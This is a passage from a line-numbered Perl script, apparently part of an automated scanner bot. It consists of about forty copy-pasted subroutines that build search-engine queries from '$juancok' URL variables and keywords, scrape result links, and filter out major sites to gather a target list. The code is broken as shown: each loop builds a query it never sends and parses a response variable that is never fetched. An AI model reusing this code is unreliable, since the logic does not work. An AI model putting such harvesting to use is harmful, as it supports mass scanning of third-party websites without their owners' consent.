  8738.     my $key = $_[0];
  8739.     for ($i=0; $i<=$max; $i+=$num) {
  8740.         my $search = ($juancok9.&key($key)."&num=20&start=".$i);
  8741.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8742.             my $link = $1;
  8743.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8744.             my @grep = links($link);
  8745.             push(@list,@grep);
  8746.         }
  8747.     }
  8748. }
  8749. return @list;
  8750. }
  8751.  
  8752. sub Goo10() {
  8753.     my @list;
  8754.     my $num=50;
  8755.     my $max=1000;
  8756.     my $key = $_[0];
  8757.     for ($i=0; $i<=$max; $i+=$num) {
  8758.         my $search = ($juancok10.&key($key)."&num=20&start=".$i);
  8759.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8760.             my $link = $1;
  8761.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8762.             my @grep = links($link);
  8763.             push(@list,@grep);
  8764.         }
  8765.     }
  8766. }
  8767. return @list;
  8768. }
  8769.  
  8770.  
  8771. sub Goo11() {
  8772.     my @list;
  8773.     my $num=50;
  8774.     my $max=1000;
  8775.     my $key = $_[0];
  8776.     for ($i=0; $i<=$max; $i+=$num) {
  8777.         my $search = ($juancok11.&key($key)."&num=20&start=".$i);
  8778.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8779.             my $link = $1;
  8780.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8781.             my @grep = links($link);
  8782.             push(@list,@grep);
  8783.         }
  8784.     }
  8785. }
  8786. return @list;
  8787. }
  8788.  
  8789. sub Goo12() {
  8790.     my @list;
  8791.     my $num=50;
  8792.     my $max=1000;
  8793.     my $key = $_[0];
  8794.     for ($i=0; $i<=$max; $i+=$num) {
  8795.         my $search = ($juancok12.&key($key)."&num=20&start=".$i);
  8796.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8797.             my $link = $1;
  8798.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8799.             my @grep = links($link);
  8800.             push(@list,@grep);
  8801.         }
  8802.     }
  8803. }
  8804. return @list;
  8805. }
  8806.  
  8807. sub Goo13() {
  8808.     my @list;
  8809.     my $num=50;
  8810.     my $max=1000;
  8811.     my $key = $_[0];
  8812.     for ($i=0; $i<=$max; $i+=$num) {
  8813.         my $search = ($juancok13.&key($key)."&num=20&start=".$i);
  8814.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8815.             my $link = $1;
  8816.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8817.             my @grep = links($link);
  8818.             push(@list,@grep);
  8819.         }
  8820.     }
  8821. }
  8822. return @list;
  8823. }
  8824. sub Goo14() {
  8825.     my @list;
  8826.     my $num=50;
  8827.     my $max=1000;
  8828.     my $key = $_[0];
  8829.     for ($i=0; $i<=$max; $i+=$num) {
  8830.         my $search = ($juancok14.&key($key)."&num=20&start=".$i);
  8831.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8832.             my $link = $1;
  8833.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8834.             my @grep = links($link);
  8835.             push(@list,@grep);
  8836.         }
  8837.     }
  8838. }
  8839. return @list;
  8840. }
  8841. sub Goo15() {
  8842.     my @list;
  8843.     my $num=50;
  8844.     my $max=1000;
  8845.     my $key = $_[0];
  8846.     for ($i=0; $i<=$max; $i+=$num) {
  8847.         my $search = ($juancok15.&key($key)."&num=20&start=".$i);
  8848.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8849.             my $link = $1;
  8850.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8851.             my @grep = links($link);
  8852.             push(@list,@grep);
  8853.         }
  8854.     }
  8855. }
  8856. return @list;
  8857. }
  8858.  
  8859. sub Goo16() {
  8860.     my @list;
  8861.     my $num=50;
  8862.     my $max=1000;
  8863.     my $key = $_[0];
  8864.     for ($i=0; $i<=$max; $i+=$num) {
  8865.         my $search = ($juancok16.&key($key)."&num=20&start=".$i);
  8866.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8867.             my $link = $1;
  8868.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8869.             my @grep = links($link);
  8870.             push(@list,@grep);
  8871.         }
  8872.     }
  8873. }
  8874. return @list;
  8875. }
  8876.  
  8877.  
  8878. sub Goo17() {
  8879.     my @list;
  8880.     my $num=50;
  8881.     my $max=1000;
  8882.     my $key = $_[0];
  8883.     for ($i=0; $i<=$max; $i+=$num) {
  8884.         my $search = ($juancok17.&key($key)."&num=20&start=".$i);
  8885.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8886.             my $link = $1;
  8887.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8888.             my @grep = links($link);
  8889.             push(@list,@grep);
  8890.         }
  8891.     }
  8892. }
  8893. return @list;
  8894. }
  8895.  
  8896. sub Goo18() {
  8897.     my @list;
  8898.     my $num=50;
  8899.     my $max=1000;
  8900.     my $key = $_[0];
  8901.     for ($i=0; $i<=$max; $i+=$num) {
  8902.         my $search = ($juancok18.&key($key)."&num=20&start=".$i);
  8903.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8904.             my $link = $1;
  8905.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8906.             my @grep = links($link);
  8907.             push(@list,@grep);
  8908.         }
  8909.     }
  8910. }
  8911. return @list;
  8912. }
  8913. sub Goo19() {
  8914.     my @list;
  8915.     my $num=50;
  8916.     my $max=1000;
  8917.     my $key = $_[0];
  8918.     for ($i=0; $i<=$max; $i+=$num) {
  8919.         my $search = ($juancok19.&key($key)."&num=20&start=".$i);
  8920.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8921.             my $link = $1;
  8922.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8923.             my @grep = links($link);
  8924.             push(@list,@grep);
  8925.         }
  8926.     }
  8927. }
  8928. return @list;
  8929. }
  8930.  
  8931. sub Goo20() {
  8932.     my @list;
  8933.     my $num=50;
  8934.     my $max=1000;
  8935.     my $key = $_[0];
  8936.     for ($i=0; $i<=$max; $i+=$num) {
  8937.         my $search = ($juancok20.&key($key)."&num=20&start=".$i);
  8938.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8939.             my $link = $1;
  8940.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8941.             my @grep = links($link);
  8942.             push(@list,@grep);
  8943.         }
  8944.     }
  8945. }
  8946. return @list;
  8947. }
  8948.  
  8949. sub Goo21() {
  8950.     my @list;
  8951.     my $num=50;
  8952.     my $max=1000;
  8953.     my $key = $_[0];
  8954.     for ($i=0; $i<=$max; $i+=$num) {
  8955.         my $search = ($juancok21.&key($key)."&num=20&start=".$i);
  8956.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8957.             my $link = $1;
  8958.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8959.             my @grep = links($link);
  8960.             push(@list,@grep);
  8961.         }
  8962.     }
  8963. }
  8964. return @list;
  8965. }
  8966.  
  8967. sub Goo22() {
  8968.     my @list;
  8969.     my $num=50;
  8970.     my $max=1000;
  8971.     my $key = $_[0];
  8972.     for ($i=0; $i<=$max; $i+=$num) {
  8973.         my $search = ($juancok22.&key($key)."&num=20&start=".$i);
  8974.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8975.             my $link = $1;
  8976.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8977.             my @grep = links($link);
  8978.             push(@list,@grep);
  8979.         }
  8980.     }
  8981. }
  8982. return @list;
  8983. }
  8984.  
  8985. sub Goo23() {
  8986.     my @list;
  8987.     my $num=50;
  8988.     my $max=1000;
  8989.     my $key = $_[0];
  8990.     for ($i=0; $i<=$max; $i+=$num) {
  8991.         my $search = ($juancok23.&key($key)."&num=20&start=".$i);
  8992.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8993.             my $link = $1;
  8994.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8995.             my @grep = links($link);
  8996.             push(@list,@grep);
  8997.         }
  8998.     }
  8999. }
  9000. return @list;
  9001. }
  9002.  
  9003. sub Goo24() {
  9004.     my @list;
  9005.     my $num=50;
  9006.     my $max=1000;
  9007.     my $key = $_[0];
  9008.     for ($i=0; $i<=$max; $i+=$num) {
  9009.         my $search = ($juancok24.&key($key)."&num=20&start=".$i);
  9010.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9011.             my $link = $1;
  9012.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9013.             my @grep = links($link);
  9014.             push(@list,@grep);
  9015.         }
  9016.     }
  9017. }
  9018. return @list;
  9019. }
  9020.  
  9021. sub Goo25() {
  9022.     my @list;
  9023.     my $num=50;
  9024.     my $max=1000;
  9025.     my $key = $_[0];
  9026.     for ($i=0; $i<=$max; $i+=$num) {
  9027.         my $search = ($juancok25.&key($key)."&num=20&start=".$i);
  9028.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9029.             my $link = $1;
  9030.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9031.             my @grep = links($link);
  9032.             push(@list,@grep);
  9033.         }
  9034.     }
  9035. }
  9036. return @list;
  9037. }
  9038.  
  9039. sub Goo26() {
  9040.     my @list;
  9041.     my $num=50;
  9042.     my $max=1000;
  9043.     my $key = $_[0];
  9044.     for ($i=0; $i<=$max; $i+=$num) {
  9045.         my $search = ($juancok26.&key($key)."&num=20&start=".$i);
  9046.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9047.             my $link = $1;
  9048.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9049.             my @grep = links($link);
  9050.             push(@list,@grep);
  9051.         }
  9052.     }
  9053. }
  9054. return @list;
  9055. }
  9056.  
  9057. sub Goo27() {
  9058.     my @list;
  9059.     my $num=50;
  9060.     my $max=1000;
  9061.     my $key = $_[0];
  9062.     for ($i=0; $i<=$max; $i+=$num) {
  9063.         my $search = ($juancok27.&key($key)."&num=20&start=".$i);
  9064.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9065.             my $link = $1;
  9066.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9067.             my @grep = links($link);
  9068.             push(@list,@grep);
  9069.         }
  9070.     }
  9071. }
  9072. return @list;
  9073. }
  9074. sub Goo28() {
  9075.     my @list;
  9076.     my $num=50;
  9077.     my $max=1000;
  9078.     my $key = $_[0];
  9079.     for ($i=0; $i<=$max; $i+=$num) {
  9080.         my $search = ($juancok28.&key($key)."&num=20&start=".$i);
  9081.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9082.             my $link = $1;
  9083.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9084.             my @grep = links($link);
  9085.             push(@list,@grep);
  9086.         }
  9087.     }
  9088. }
  9089. return @list;
  9090. }
  9091.  
  9092. sub Goo29() {
  9093.     my @list;
  9094.     my $num=50;
  9095.     my $max=1000;
  9096.     my $key = $_[0];
  9097.     for ($i=0; $i<=$max; $i+=$num) {
  9098.         my $search = ($juancok29.&key($key)."&num=20&start=".$i);
  9099.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9100.             my $link = $1;
  9101.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9102.             my @grep = links($link);
  9103.             push(@list,@grep);
  9104.         }
  9105.     }
  9106. }
  9107. return @list;
  9108. }
  9109.  
  9110. sub Goo30() {
  9111.     my @list;
  9112.     my $num=50;
  9113.     my $max=1000;
  9114.     my $key = $_[0];
  9115.     for ($i=0; $i<=$max; $i+=$num) {
  9116.         my $search = ($juancok30.&key($key)."&num=20&start=".$i);
  9117.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9118.             my $link = $1;
  9119.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9120.             my @grep = links($link);
  9121.             push(@list,@grep);
  9122.         }
  9123.     }
  9124. }
  9125. return @list;
  9126. }
  9127.  
  9128. sub Goo31() {
  9129.     my @list;
  9130.     my $num=50;
  9131.     my $max=1000;
  9132.     my $key = $_[0];
  9133.     for ($i=0; $i<=$max; $i+=$num) {
  9134.         my $search = ($juancok31.&key($key)."&num=20&start=".$i);
  9135.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9136.             my $link = $1;
  9137.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9138.             my @grep = links($link);
  9139.             push(@list,@grep);
  9140.         }
  9141.     }
  9142. }
  9143. return @list;
  9144. }
  9145. sub Goo32() {
  9146.     my @list;
  9147.     my $num=50;
  9148.     my $max=1000;
  9149.     my $key = $_[0];
  9150.     for ($i=0; $i<=$max; $i+=$num) {
  9151.         my $search = ($juancok32.&key($key)."&num=20&start=".$i);
  9152.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9153.             my $link = $1;
  9154.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9155.             my @grep = links($link);
  9156.             push(@list,@grep);
  9157.         }
  9158.     }
  9159. }
  9160. return @list;
  9161. }
  9162.  
  9163. sub Goo33() {
  9164.     my @list;
  9165.     my $num=50;
  9166.     my $max=1000;
  9167.     my $key = $_[0];
  9168.     for ($i=0; $i<=$max; $i+=$num) {
  9169.         my $search = ($juancok33.&key($key)."&num=20&start=".$i);
  9170.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9171.             my $link = $1;
  9172.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9173.             my @grep = links($link);
  9174.             push(@list,@grep);
  9175.         }
  9176.     }
  9177. }
  9178. return @list;
  9179. }
  9180.  
  9181. sub Goo34() {
  9182.     my @list;
  9183.     my $num=50;
  9184.     my $max=1000;
  9185.     my $key = $_[0];
  9186.     for ($i=0; $i<=$max; $i+=$num) {
  9187.         my $search = ($juancok34.&key($key)."&num=20&start=".$i);
  9188.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9189.             my $link = $1;
  9190.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9191.             my @grep = links($link);
  9192.             push(@list,@grep);
  9193.         }
  9194.     }
  9195. }
  9196. return @list;
  9197. }
  9198. sub Goo35() {
  9199.     my @list;
  9200.     my $num=50;
  9201.     my $max=1000;
  9202.     my $key = $_[0];
  9203.     for ($i=0; $i<=$max; $i+=$num) {
  9204.         my $search = ($juancok35.&key($key)."&num=20&start=".$i);
  9205.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9206.             my $link = $1;
  9207.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9208.             my @grep = links($link);
  9209.             push(@list,@grep);
  9210.         }
  9211.     }
  9212. }
  9213. return @list;
  9214. }
  9215.  
  9216. sub Goo36() {
  9217.     my @list;
  9218.     my $num=50;
  9219.     my $max=1000;
  9220.     my $key = $_[0];
  9221.     for ($i=0; $i<=$max; $i+=$num) {
  9222.         my $search = ($juancok36.&key($key)."&num=20&start=".$i);
  9223.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9224.             my $link = $1;
  9225.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9226.             my @grep = links($link);
  9227.             push(@list,@grep);
  9228.         }
  9229.     }
  9230. }
  9231. return @list;
  9232. }
  9233.  
  9234. sub Goo37() {
  9235.     my @list;
  9236.     my $num=50;
  9237.     my $max=1000;
  9238.     my $key = $_[0];
  9239.     for ($i=0; $i<=$max; $i+=$num) {
  9240.         my $search = ($juancok37.&key($key)."&num=20&start=".$i);
  9241.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9242.             my $link = $1;
  9243.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9244.             my @grep = links($link);
  9245.             push(@list,@grep);
  9246.         }
  9247.     }
  9248. }
  9249. return @list;
  9250. }
  9251.  
  9252. sub Goo38() {
  9253.     my @list;
  9254.     my $num=50;
  9255.     my $max=1000;
  9256.     my $key = $_[0];
  9257.     for ($i=0; $i<=$max; $i+=$num) {
  9258.         my $search = ($juancok38.&key($key)."&num=20&start=".$i);
  9259.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9260.             my $link = $1;
  9261.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9262.             my @grep = links($link);
  9263.             push(@list,@grep);
  9264.         }
  9265.     }
  9266. }
  9267. return @list;
  9268. }
  9269.  
  9270. sub Goo39() {
  9271.     my @list;
  9272.     my $num=50;
  9273.     my $max=1000;
  9274.     my $key = $_[0];
  9275.     for ($i=0; $i<=$max; $i+=$num) {
  9276.         my $search = ($juancok39.&key($key)."&num=20&start=".$i);
  9277.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9278.             my $link = $1;
  9279.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9280.             my @grep = links($link);
  9281.             push(@list,@grep);
  9282.         }
  9283.     }
  9284. }
  9285. return @list;
  9286. }
  9287.  
  9288. sub Goo40() {
  9289.     my @list;
  9290.     my $num=50;
  9291.     my $max=1000;
  9292.     my $key = $_[0];
  9293.     for ($i=0; $i<=$max; $i+=$num) {
  9294.         my $search = ($juancok40.&key($key)."&num=20&start=".$i);
  9295.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9296.             my $link = $1;
  9297.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9298.             my @grep = links($link);
  9299.             push(@list,@grep);
  9300.         }
  9301.     }
  9302. }
  9303. return @list;
  9304. }
  9305.  
  9306. sub Goo41() {
  9307.     my @list;
  9308.     my $num=50;
  9309.     my $max=1000;
  9310.     my $key = $_[0];
  9311.     for ($i=0; $i<=$max; $i+=$num) {
  9312.         my $search = ($juancok41.&key($key)."&num=20&start=".$i);
  9313.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9314.             my $link = $1;
  9315.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9316.             my @grep = links($link);
  9317.             push(@list,@grep);
  9318.         }
  9319.     }
  9320. }
  9321. return @list;
  9322. }
  9323.  
  9324. sub Goo42() {
  9325.     my @list;
  9326.     my $num=50;
  9327.     my $max=1000;
  9328.     my $key = $_[0];
  9329.     for ($i=0; $i<=$max; $i+=$num) {
  9330.         my $search = ($juancok42.&key($key)."&num=20&start=".$i);
  9331.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9332.             my $link = $1;
  9333.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9334.             my @grep = links($link);
  9335.             push(@list,@grep);
  9336.         }
  9337.     }
  9338. }
  9339. return @list;
  9340. }
  9341.  
  9342. sub Goo43() {
  9343.     my @list;
  9344.     my $num=50;
  9345.     my $max=1000;
  9346.     my $key = $_[0];
  9347.     for ($i=0; $i<=$max; $i+=$num) {
  9348.         my $search = ($juancok43.&key($key)."&num=20&start=".$i);
  9349.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9350.             my $link = $1;
  9351.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9352.             my @grep = links($link);
  9353.             push(@list,@grep);
  9354.         }
  9355.     }
  9356. }
  9357. return @list;
  9358. }
  9359.  
  9360. sub Goo44() {
  9361.     my @list;
  9362.     my $num=50;
  9363.     my $max=1000;
  9364.     my $key = $_[0];
  9365.     for ($i=0; $i<=$max; $i+=$num) {
  9366.         my $search = ($juancok44.&key($key)."&num=20&start=".$i);
  9367.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  9368.             my $link = $1;
  9369.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  9370.             my @grep = links($link);
  9371.             push(@list,@grep);
  9372.         }
  9373.     }
  9374. }
  9375. return @list;
    <